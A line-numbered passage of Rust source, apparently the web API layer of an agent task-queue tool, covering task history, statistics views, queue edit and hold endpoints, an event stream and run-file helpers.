6472 slots.push((
6473 run_id,
6474 state.clone(),
6475 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6476 position,
6477 ));
6478 }
6479 }
6480 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6481 slots.sort_by_key(|(_, state, pass, _)| {
6482 pass.as_ref()
6483 .map(|p| p.started_at)
6484 .or_else(|| state.as_ref().map(|s| s.created_at))
6485 .map_or((true, task.created_at), |at| (false, at))
6486 });
6487 } else {
6488 slots.sort_by_key(|(_, _, _, position)| *position);
6489 }
6490 let mut history = Vec::with_capacity(slots.len());
6491 let mut seen: Vec<&str> = Vec::new();
6492 let mut prior: Option<(&str, RunStatus)> = None;
6493 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6494 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6495 let resumed = k > 0;
6496 seen.push(run_id);
6497 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6498 let pass = pass.as_ref();
6499 let settled = pass.and_then(|p| {
6500 task.passes
6501 .iter()
6502 .find(|t| t.run == **run_id && t.pass_index == p.index)
6503 });
6504 history.push(task_run_view(
6505 run_id,
6506 state.as_ref(),
6507 RunSlot {
6508 n: i + 1,
6509 resumed,
6510 resumed_later: slots[i + 1..]
6511 .iter()
6512 .position(|(id, _, _, _)| id == run_id)
6513 .map(|off| i + off + 2),
6514 prior,
6515 last: i + 1 == slots.len(),
6516 pass,
6517 settled,
6518 pass_n: k + 1,
6519 passes_of_run: total,
6520 },
6521 task,
6522 ));
6523 if let Some(s) = &state {
6524 prior = Some((run::short_of(run_id), s.status));
6525 }
6526 }
6527 history
6528}
6529
6530fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6533 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6534 return;
6535 }
6536 let (_, claimed, _) = run_row_inputs(ui);
6537 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6538 for h in history
6539 .iter_mut()
6540 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6541 {
6542 let Ok(state) = read_run(&ui.runs, &h.id) else {
6543 continue;
6544 };
6545 if state.status.done() {
6546 continue;
6547 }
6548 let live = state.liveness_with(
6549 claimed.contains(&h.id),
6550 |p| probe.borrow_mut().status(p),
6551 |p| probe.borrow_mut().started_at(p),
6552 );
6553 let waiting = !ui.questions.open_for(&h.id).is_empty();
6554 let display = run_display_status(&state, waiting, live);
6555 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6556 if matches!(word.as_str(), "stale" | "superseded")
6557 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6558 {
6559 h.badge = Some(word);
6560 }
6561 }
6562}
6563
6564async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6565 blocking(move || {
6566 let id = resolve_task(&ui.queue, &id)?;
6567 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6568 })
6569 .await
6570}
6571
6572async fn task_detail(
6573 State(ui): State<Arc<Ui>>,
6574 Path(id): Path<String>,
6575) -> ApiResult<Json<TaskDetailView>> {
6576 blocking(move || {
6577 let id = resolve_task(&ui.queue, &id)?;
6578 let task = ui
6579 .queue
6580 .get(&id)
6581 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6582 let inv = if task.status == TaskStatus::Blocked {
6583 Some(crate::blockers::Inventory::load_for(
6584 &ui.queue,
6585 &ui.questions,
6586 &task,
6587 ))
6588 } else {
6589 None
6590 };
6591 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6592 mark_badges(&ui, &task, &mut history);
6593 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6594 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6595 let origin = task.followup.as_ref().map(|fu| {
6596 followup_origin(
6597 fu,
6598 |tid| ui.queue.get(tid).ok(),
6599 |rid| read_run(&ui.runs, rid).ok(),
6600 )
6601 });
6602 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6603 let task_view = match inv.as_ref() {
6604 Some(inv) => TaskView::with_inventory(task, inv),
6605 None => TaskView::from(task),
6606 };
6607 Ok(Json(TaskDetailView {
6608 max_attempts,
6609 flow,
6610 followup_origin: origin,
6611 passes_total: history.len(),
6612 runs_distinct: distinct_runs(&task_view.task.runs),
6613 history,
6614 runs_unreadable,
6615 attempts_note: ATTEMPTS_NOTE,
6616 task: task_view,
6617 }))
6618 })
6619 .await
6620}
6621
6622#[derive(Debug, Serialize)]
6626struct RateView {
6627 pct: f64,
6628 denominator: usize,
6629}
6630
6631impl RateView {
6632 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6633 (denominator > 0).then(|| Self {
6634 pct: 100.0 * numerator as f64 / denominator as f64,
6635 denominator,
6636 })
6637 }
6638}
6639
6640#[derive(Debug, Serialize)]
6645struct StatsTotalsView {
6646 runs: usize,
6647 merged: usize,
6648 ready: usize,
6649 blocked: usize,
6650 failed: usize,
6651 stalled: usize,
6652 verified_noop: usize,
6653 superseded: usize,
6654 in_progress: usize,
6655 completion_rate: Option<RateView>,
6656 tallied: usize,
6657 split: usize,
6658 split_rate: Option<RateView>,
6659 deliberated: usize,
6660 minds_changed: usize,
6661 converged: usize,
6662 review_rounds: usize,
6663}
6664
6665impl From<&stats::Totals> for StatsTotalsView {
6666 fn from(t: &stats::Totals) -> Self {
6667 Self {
6668 runs: t.runs,
6669 merged: t.merged,
6670 ready: t.ready,
6671 blocked: t.blocked,
6672 failed: t.failed,
6673 stalled: t.stalled,
6674 verified_noop: t.verified_noop,
6675 superseded: t.superseded,
6676 in_progress: t.in_progress,
6677 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6678 tallied: t.tallied,
6679 split: t.split,
6680 split_rate: RateView::of(t.split, t.tallied),
6681 deliberated: t.deliberated,
6682 minds_changed: t.minds_changed,
6683 converged: t.converged,
6684 review_rounds: t.review_rounds,
6685 }
6686 }
6687}
6688
6689#[derive(Debug, Serialize)]
6691struct AgentStatsView {
6692 agent: String,
6693 entered: usize,
6694 wins: usize,
6695 empty: usize,
6696 win_rate: Option<RateView>,
6697 competitive_entered: usize,
6698 competitive_wins: usize,
6699 competitive_win_rate: Option<RateView>,
6700 solo_entered: usize,
6701 solo_adopted: usize,
6702 solo_adoption_rate: Option<RateView>,
6703}
6704
6705impl From<&stats::AgentStats> for AgentStatsView {
6706 fn from(a: &stats::AgentStats) -> Self {
6707 Self {
6708 agent: a.agent.clone(),
6709 entered: a.entered,
6710 wins: a.wins,
6711 empty: a.empty,
6712 win_rate: RateView::of(a.wins, a.entered),
6713 competitive_entered: a.competitive_entered,
6714 competitive_wins: a.competitive_wins,
6715 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6716 solo_entered: a.solo_entered,
6717 solo_adopted: a.solo_adopted,
6718 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6719 }
6720 }
6721}
6722
6723#[derive(Debug, Serialize)]
6727struct ReviewerStatsView {
6728 agent: String,
6729 rounds: usize,
6730 seated: usize,
6731 submitted: usize,
6732 adopted: usize,
6733 unique: usize,
6734 timeouts: usize,
6735 adopted_per_round: Option<f64>,
6736 precision: Option<RateView>,
6737 unique_rate: Option<RateView>,
6738 timeout_rate: Option<RateView>,
6739}
6740
6741impl From<&stats::ReviewerStats> for ReviewerStatsView {
6742 fn from(r: &stats::ReviewerStats) -> Self {
6743 Self {
6744 agent: r.agent.clone(),
6745 rounds: r.rounds,
6746 seated: r.seated,
6747 submitted: r.submitted,
6748 adopted: r.adopted,
6749 unique: r.unique,
6750 timeouts: r.timeouts,
6751 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6752 precision: RateView::of(r.adopted, r.submitted),
6753 unique_rate: RateView::of(r.unique, r.submitted),
6754 timeout_rate: RateView::of(r.timeouts, r.seated),
6755 }
6756 }
6757}
6758
6759#[derive(Debug, Serialize)]
6765struct AdvisorStatsView {
6766 agent: String,
6767 seated: usize,
6768 proposed: usize,
6769 absent: usize,
6770 faint: usize,
6771 strong: usize,
6772 reflection_rate: Option<RateView>,
6773}
6774
6775impl From<&stats::AdvisorStats> for AdvisorStatsView {
6776 fn from(a: &stats::AdvisorStats) -> Self {
6777 Self {
6778 agent: a.agent.clone(),
6779 seated: a.seated,
6780 proposed: a.proposed,
6781 absent: a.absent,
6782 faint: a.faint,
6783 strong: a.strong,
6784 reflection_rate: RateView::of(a.strong, a.proposed),
6785 }
6786 }
6787}
6788
6789#[derive(Debug, Serialize)]
6791struct E2eStatsView {
6792 rounds: usize,
6793 failures: usize,
6794 sole_detections: usize,
6795 deferred: usize,
6796 sole_rate: Option<RateView>,
6797}
6798
6799impl From<&stats::E2eStats> for E2eStatsView {
6800 fn from(e: &stats::E2eStats) -> Self {
6801 Self {
6802 rounds: e.rounds,
6803 failures: e.failures,
6804 sole_detections: e.sole_detections,
6805 deferred: e.deferred,
6806 sole_rate: RateView::of(e.sole_detections, e.failures),
6807 }
6808 }
6809}
6810
6811#[derive(Debug, Serialize)]
6819struct ReleaseBumpStatsView {
6820 merged: usize,
6821 recorded: usize,
6822 pr_opened: usize,
6823 automerge_enabled: usize,
6824 merged_directly: usize,
6825 needs_attention: usize,
6826 clean: usize,
6827 coverage_rate: Option<RateView>,
6828 automerge_rate: Option<RateView>,
6829 attention_rate: Option<RateView>,
6830}
6831
6832impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6833 fn from(b: &stats::ReleaseBumpStats) -> Self {
6834 Self {
6835 merged: b.merged,
6836 recorded: b.recorded,
6837 pr_opened: b.pr_opened,
6838 automerge_enabled: b.automerge_enabled,
6839 merged_directly: b.merged_directly,
6840 needs_attention: b.needs_attention,
6841 clean: b.clean(),
6842 coverage_rate: RateView::of(b.recorded, b.merged),
6843 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6844 attention_rate: RateView::of(b.needs_attention, b.recorded),
6845 }
6846 }
6847}
6848
6849#[derive(Debug, Serialize)]
6851struct TaskCountsView {
6852 queued: usize,
6853 running: usize,
6854 done: usize,
6855 failed: usize,
6856 held: usize,
6857 blocked: usize,
6858 parked: usize,
6859}
6860
6861impl From<crate::queue::TaskCounts> for TaskCountsView {
6862 fn from(c: crate::queue::TaskCounts) -> Self {
6863 Self {
6864 queued: c.queued,
6865 running: c.running,
6866 done: c.done,
6867 failed: c.failed,
6868 held: c.held,
6869 blocked: c.blocked,
6870 parked: c.parked,
6871 }
6872 }
6873}
6874
6875#[derive(Debug, Serialize)]
6881struct RepoSummaryView {
6882 repo: String,
6885 name: String,
6887 runs: usize,
6888 completion_rate: Option<RateView>,
6889}
6890
6891impl From<&stats::RepoStats> for RepoSummaryView {
6892 fn from(r: &stats::RepoStats) -> Self {
6893 let t = &r.stats.totals;
6894 Self {
6895 repo: r.repo.to_string_lossy().into_owned(),
6896 name: r.name.clone(),
6897 runs: t.runs,
6898 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6899 }
6900 }
6901}
6902
6903#[derive(Debug, Serialize)]
6909struct StatsView {
6910 totals: StatsTotalsView,
6911 agents: Vec<AgentStatsView>,
6913 reviewers: Vec<ReviewerStatsView>,
6915 advisors: Vec<AdvisorStatsView>,
6917 e2e: E2eStatsView,
6918 release_bumps: ReleaseBumpStatsView,
6919 queue: Option<TaskCountsView>,
6920 runs_unreadable: usize,
6930 repos: Vec<RepoSummaryView>,
6934 daily: Vec<DailyStatsView>,
6939 repo: Option<String>,
6943 retired_hidden: Vec<String>,
6947}
6948
6949#[derive(Debug, Serialize)]
6951struct DailyStatsView {
6952 date: String,
6954 runs: usize,
6955 merged: usize,
6956 ready: usize,
6957 other: usize,
6958 completion_rate: Option<RateView>,
6960}
6961
6962impl From<&stats::DayBucket> for DailyStatsView {
6963 fn from(b: &stats::DayBucket) -> Self {
6964 Self {
6965 date: b.date.to_string(),
6966 runs: b.runs,
6967 merged: b.merged,
6968 ready: b.ready,
6969 other: b.other,
6970 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6971 }
6972 }
6973}
6974
6975const STATS_DAILY_DAYS: usize = 30;
6977
6978#[derive(Debug, Default, Deserialize)]
6987#[serde(default)]
6988struct StatsQuery {
6989 repo: Option<String>,
6990 all: bool,
6992 runs_only: bool,
6994}
6995
6996async fn stats_get(
7003 State(ui): State<Arc<Ui>>,
7004 Query(q): Query<StatsQuery>,
7005) -> ApiResult<Json<StatsView>> {
7006 blocking(move || {
7007 let states: Vec<RunState> = run_ids(&ui.runs)
7008 .into_iter()
7009 .filter_map(|id| read_run(&ui.runs, &id).ok())
7010 .collect();
7011 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7012 .iter()
7013 .map(RepoSummaryView::from)
7014 .collect();
7015 let mut scoped: Vec<&RunState> = states.iter().collect();
7016 let mut collected = match &q.repo {
7017 Some(repo) => {
7018 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7019 if filtered.is_empty() {
7020 return Err(ApiError::not_found(format!(
7021 "no runs recorded against repo `{repo}`"
7022 )));
7023 }
7024 scoped = filtered.clone();
7025 stats::collect_refs(filtered)
7026 }
7027 None => stats::collect(&states),
7028 };
7029 if !q.all {
7030 let repo = q
7031 .repo
7032 .as_deref()
7033 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7034 stats::retain_current_roster(&mut collected, &repo);
7035 }
7036 let daily = stats::daily(
7037 scoped,
7038 jiff::Zoned::now().date(),
7039 &jiff::tz::TimeZone::system(),
7040 STATS_DAILY_DAYS,
7041 );
7042 let queue_counts = (!q.runs_only)
7043 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7044 Ok(Json(StatsView {
7045 totals: StatsTotalsView::from(&collected.totals),
7046 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7047 reviewers: collected
7048 .reviewers
7049 .iter()
7050 .map(ReviewerStatsView::from)
7051 .collect(),
7052 advisors: collected
7053 .advisors
7054 .iter()
7055 .map(AdvisorStatsView::from)
7056 .collect(),
7057 e2e: E2eStatsView::from(&collected.e2e),
7058 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7059 queue: queue_counts,
7060 runs_unreadable: runs_unreadable(&ui.runs),
7061 repos,
7062 daily: daily.iter().map(DailyStatsView::from).collect(),
7063 repo: q.repo.clone(),
7064 retired_hidden: collected.retired_hidden.clone(),
7065 }))
7066 })
7067 .await
7068}
7069
7070#[derive(Debug, Default, Deserialize)]
7073#[serde(default, deny_unknown_fields)]
7074struct HoldBody {
7075 reason: Option<String>,
7076}
7077
7078async fn queue_hold(
7079 State(ui): State<Arc<Ui>>,
7080 Path(id): Path<String>,
7081 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7082) -> ApiResult<Json<TaskView>> {
7083 let body = match body {
7087 Ok(Json(body)) => body,
7088 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7089 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7090 };
7091 let reason = body.reason.filter(|r| !r.trim().is_empty());
7092 mutate(ui, id, move |t| {
7093 t.hold_manual(reason.clone());
7094 Ok(())
7095 })
7096 .await
7097}
7098
7099async fn queue_release(
7100 State(ui): State<Arc<Ui>>,
7101 Path(id): Path<String>,
7102) -> ApiResult<Json<TaskView>> {
7103 mutate(ui, id, |t| {
7104 t.release_operator("web", None);
7105 Ok(())
7106 })
7107 .await
7108}
7109
7110#[derive(Debug, Deserialize)]
7111#[serde(deny_unknown_fields)]
7112struct AttemptLimitBody {
7113 attempt_limit: serde_json::Value,
7115}
7116
7117async fn queue_attempt_limit(
7118 State(ui): State<Arc<Ui>>,
7119 Path(id): Path<String>,
7120 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7121) -> ApiResult<Json<TaskView>> {
7122 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7123 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7124 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7125 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7126}
7127
7128#[derive(Debug, Deserialize)]
7129#[serde(deny_unknown_fields)]
7130struct ImplementersBody {
7131 implementers: u8,
7132}
7133
7134async fn queue_implementers(
7135 State(ui): State<Arc<Ui>>,
7136 Path(id): Path<String>,
7137 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7138) -> ApiResult<Json<TaskView>> {
7139 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7140 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7141}
7142
7143#[derive(Debug, Deserialize)]
7144#[serde(deny_unknown_fields)]
7145struct UrgentBody {
7146 urgent: bool,
7147}
7148
7149async fn queue_urgent(
7150 State(ui): State<Arc<Ui>>,
7151 Path(id): Path<String>,
7152 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7153) -> ApiResult<Json<TaskView>> {
7154 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7155 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7156}
7157
7158#[derive(Debug, Deserialize)]
7160#[serde(deny_unknown_fields)]
7161struct PriorityBody {
7162 priority: i32,
7163}
7164
7165async fn queue_priority(
7171 State(ui): State<Arc<Ui>>,
7172 Path(id): Path<String>,
7173 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7174) -> ApiResult<Json<TaskView>> {
7175 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7176 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7177}
7178
7179#[derive(Debug, Deserialize)]
7181#[serde(deny_unknown_fields)]
7182struct EditBody {
7183 title: String,
7184 instruction: String,
7185 #[serde(default)]
7188 force: bool,
7189}
7190
7191async fn queue_edit(
7195 State(ui): State<Arc<Ui>>,
7196 Path(id): Path<String>,
7197 body: std::result::Result<Json<EditBody>, JsonRejection>,
7198) -> ApiResult<Json<TaskView>> {
7199 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7200 let mut judged: Option<(String, PathBuf)> = None;
7204 if !body.force {
7205 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7206 let (id, text) = (id.clone(), body.instruction.clone());
7207 let (seen, hits) = blocking(move || {
7208 let id = resolve_task(&queue, &id)?;
7209 let t = queue.get(&id)?;
7210 if text == t.instruction {
7211 return Ok((None, Vec::new()));
7212 }
7213 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7214 Ok((Some((t.instruction, t.repo)), hits))
7215 })
7216 .await?;
7217 if let Some((_, repo)) = &seen {
7218 let cfg = crate::config::Config::discover(repo, None)
7219 .ok()
7220 .map(|(c, _)| c);
7221 let screened =
7222 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7223 .await
7224 .map_err(|dup| {
7225 ApiError::conflict(dup.render(
7226 "Nothing was saved. If it is not a duplicate, repeat the request \
7227 with \"force\": true.",
7228 ))
7229 })?;
7230 if let crate::dupes::Screened::Unjudged(why) = screened {
7231 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7232 }
7233 }
7234 judged = seen;
7235 }
7236 let force = body.force;
7237 mutate(ui, id, move |t| {
7238 if !force && body.instruction != t.instruction {
7239 match &judged {
7240 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7241 _ => {
7242 anyhow::bail!("the task changed while it was being checked; repeat the request")
7243 }
7244 }
7245 }
7246 t.edit(body.title.clone(), body.instruction.clone())
7247 })
7248 .await
7249}
7250
7251async fn queue_done(
7259 State(ui): State<Arc<Ui>>,
7260 Path(id): Path<String>,
7261) -> ApiResult<Json<TaskView>> {
7262 let home = ui.home.clone();
7263 mutate(ui, id, move |t| {
7264 t.succeed();
7265 crate::daemon::supersede_prior_runs(t, &home);
7273 Ok(())
7274 })
7275 .await
7276}
7277
7278async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7286 blocking(move || {
7287 let id = resolve_task(&ui.queue, &id)?;
7288 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7289 ui.queue
7290 .remove(&id, in_flight, &ui.questions)
7291 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7292 Ok(StatusCode::NO_CONTENT)
7293 })
7294 .await
7295}
7296
7297async fn mutate(
7306 ui: Arc<Ui>,
7307 id: String,
7308 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7309) -> ApiResult<Json<TaskView>> {
7310 blocking(move || {
7311 let id = resolve_task(&ui.queue, &id)?;
7312 let _claim = ui.queue.claim(&id).map_err(|e| {
7317 ApiError::conflict(format!(
7318 "{e:#} - a daemon is running this task, so it cannot be \
7319 changed from here yet; wait until it is released, then retry"
7320 ))
7321 })?;
7322 let mut task = ui.queue.get(&id)?;
7323 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7324 Ok(dup) => ApiError::conflict(dup.render(
7325 "Nothing was saved. If it is not a duplicate, repeat the request with \
7326 \"force\": true.",
7327 )),
7328 Err(e) => ApiError::bad_request_from(e),
7329 })?;
7330 ui.queue.put(&mut task)?;
7331 Ok(Json(TaskView::from(task)))
7332 })
7333 .await
7334}
7335
7336async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7341 ui.monitor.ensure_worker(&ui);
7342 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7343 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7344
7345 let state = Arc::clone(&ui);
7346 tokio::spawn(async move {
7347 let initial_revisions = {
7348 let guard = match state.monitor.latest.lock() {
7349 Ok(g) => g,
7350 Err(p) => p.into_inner(),
7351 };
7352 guard.as_ref().map(|(r, _)| *r)
7353 };
7354 if let Some(revisions) = initial_revisions {
7355 let initial_payload = serde_json::json!({
7356 "queue_rev": revisions.0,
7357 "runs_rev": revisions.1,
7358 "questions_rev": revisions.2,
7359 "talks_rev": revisions.3,
7360 "notifications_rev": revisions.4,
7361 "loop_rev": revisions.5,
7362 });
7363
7364 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7365 if tx.send(event).await.is_err() {
7366 return;
7367 }
7368 }
7369 }
7370
7371 loop {
7372 match tokio::select! {
7373 _ = tx.closed() => return,
7374 value = broadcast_rx.recv() => value,
7375 } {
7376 Ok(notif) => {
7377 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7378 else {
7379 break;
7380 };
7381 if tx.send(event).await.is_err() {
7382 break;
7383 }
7384 }
7385 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7386 let revs = {
7387 let guard = match state.monitor.latest.lock() {
7388 Ok(g) => g,
7389 Err(p) => p.into_inner(),
7390 };
7391 guard.as_ref().map(|(r, _)| *r)
7392 };
7393 if let Some(revs) = revs {
7394 let payload = serde_json::json!({
7395 "queue_rev": revs.0,
7396 "runs_rev": revs.1,
7397 "questions_rev": revs.2,
7398 "talks_rev": revs.3,
7399 "notifications_rev": revs.4,
7400 "loop_rev": revs.5,
7401 });
7402 if let Ok(event) = Event::default().event("change").json_data(payload) {
7403 if tx.send(event).await.is_err() {
7404 break;
7405 }
7406 }
7407 }
7408 }
7409 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7410 break;
7411 }
7412 }
7413 }
7414 });
7415
7416 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7417 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7418}
7419
7420fn run_ids(runs: &FsPath) -> Vec<String> {
7426 let mut ids: Vec<String> = std::fs::read_dir(runs)
7427 .into_iter()
7428 .flatten()
7429 .flatten()
7430 .filter(|e| e.path().join("run.json").is_file())
7431 .map(|e| e.file_name().to_string_lossy().into_owned())
7432 .collect();
7433 ids.sort_unstable_by(|a, b| b.cmp(a));
7435 ids
7436}
7437
7438fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7440 let path = runs.join(id).join("run.json");
7441 let body =
7442 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7443 let state: RunState =
7444 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7445 run::migrate_schema(state)
7450}
7451
7452#[must_use]
7460pub fn runs_unreadable(runs: &FsPath) -> usize {
7461 run_ids(runs)
7462 .into_iter()
7463 .filter(|id| read_run(runs, id).is_err())
7464 .count()
7465}
7466
7467fn plain_record_id(id: &str) -> bool {
7468 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7469}
7470
7471fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7473 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7474 return Ok(id.to_owned());
7475 }
7476 pick(run_ids(runs), id, "run")
7477}
7478
7479fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7481 if plain_record_id(id) && queue.path_of(id).is_file() {
7482 return Ok(id.to_owned());
7483 }
7484 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7485 pick(ids, id, "task")
7486}
7487
7488#[derive(Debug, Serialize)]
7499struct QuestionView {
7500 choice_effects: std::collections::BTreeMap<String, String>,
7501 record_revision: String,
7502 #[serde(flatten)]
7503 question: Question,
7504 detail_md: Vec<md::Node>,
7505 posting_view: Option<PostingView>,
7506 thread_bodies_md: Vec<Vec<md::Node>>,
7508 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7511 waiting_on_agent: bool,
7521 holder: Option<&'static str>,
7525 deputies_enabled: bool,
7529 deputy_exhausted: bool,
7532 text_delivery: crate::question_delivery::Availability,
7533 run_is_task: bool,
7536 origin_chat: Option<String>,
7539 origin_chat_closed: bool,
7541 can_consult_chat: bool,
7543}
7544
7545#[derive(Debug, Serialize)]
7546struct PostingView {
7547 before_md: Vec<md::Node>,
7548 after_md: Vec<md::Node>,
7549 fields: Vec<crate::github_text::ComparisonView>,
7550}
7551
7552fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7553 let comparison = question.posting_comparison.as_ref()?;
7554 if !comparison.matches_detail(&question.detail) {
7555 return None;
7556 }
7557 let mut ids = std::collections::BTreeSet::new();
7558 if comparison.fields.is_empty()
7559 || comparison
7560 .fields
7561 .iter()
7562 .flat_map(|f| &f.pairs)
7563 .any(|p| !ids.insert(p.id))
7564 || comparison
7565 .fields
7566 .iter()
7567 .flat_map(|f| &f.original_triggers)
7568 .any(|t| !ids.insert(t.id))
7569 {
7570 return None;
7571 }
7572 let fields = comparison
7573 .fields
7574 .iter()
7575 .map(|f| f.view(comparison.excerpt))
7576 .collect::<Option<Vec<_>>>()?;
7577 Some(PostingView {
7578 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7579 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7580 fields,
7581 })
7582}
7583
7584impl QuestionView {
7585 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7589 let base = md::ImageBase::QuestionPanel {
7590 id: question.id.clone(),
7591 };
7592 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7593 Self {
7594 choice_effects: question
7595 .choices
7596 .iter()
7597 .filter_map(|c| {
7598 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7599 })
7600 .collect(),
7601 record_revision: question_record_revision(&question),
7602 detail_md: md::to_nodes(&question.detail, &base),
7603 posting_view: posting_view(&question, &base),
7604 thread_bodies_md: question
7605 .thread
7606 .iter()
7607 .map(|t| md::to_nodes(&t.body, &base))
7608 .collect(),
7609 thread_notes_md: question
7610 .thread
7611 .iter()
7612 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7613 .collect(),
7614 deputy_exhausted: store.deputy_exhausted(&question),
7615 waiting_on_agent: question.waiting_on_agent(),
7616 holder,
7617 deputies_enabled: deputies_enabled(cfg, &question),
7618 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7619 run_is_task: question.run_names_task(),
7620 origin_chat: None,
7621 origin_chat_closed: false,
7622 can_consult_chat: false,
7623 question,
7624 }
7625 }
7626
7627 fn with_origin(
7629 mut self,
7630 tasks: &[crate::queue::Task],
7631 talks: &[Talk],
7632 watches: &[crate::release_watch::WatchState],
7633 ) -> Self {
7634 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7635 self.can_consult_chat = consult.is_some();
7636 let talk =
7637 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7638 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7639 self.origin_chat = talk.map(|t| t.id);
7640 self
7641 }
7642}
7643
7644fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7648 Config::discover(repo, None).ok().map(|(c, _)| c)
7649}
7650
7651fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7653 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7654}
7655
7656fn question_views(
7659 qs: Vec<Question>,
7660 store: &ask::Questions,
7661 load: impl FnOnce() -> Option<Config>,
7662) -> Vec<QuestionView> {
7663 if qs.is_empty() {
7664 return Vec::new();
7665 }
7666 let cfg = load();
7667 qs.into_iter()
7668 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7669 .collect()
7670}
7671
7672fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7682 if !q.status.open() {
7683 return None;
7684 }
7685 if q.cwd.is_none()
7686 && q.deputy.is_none()
7687 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7688 {
7689 return crate::deputy::kind_of(q).map(|_| "nobody");
7690 }
7691 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
